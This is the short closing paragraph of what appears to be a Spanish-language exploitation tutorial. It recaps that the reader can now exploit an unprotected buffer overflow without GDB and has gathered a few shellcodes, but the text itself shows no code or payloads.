Bueno, ésta ha sido una entrada realmente larga y con un montón de conceptos a masticar con mucha tranquilidad, pero creo que podemos sacar bastantes cosas de provecho. Para empezar ya estamos empezando a explotar un bof (sin protecciones) sin el GDB. Además ahora tenemos un pequeño repertorio de shellcodes, ¿no? :).

Saludos.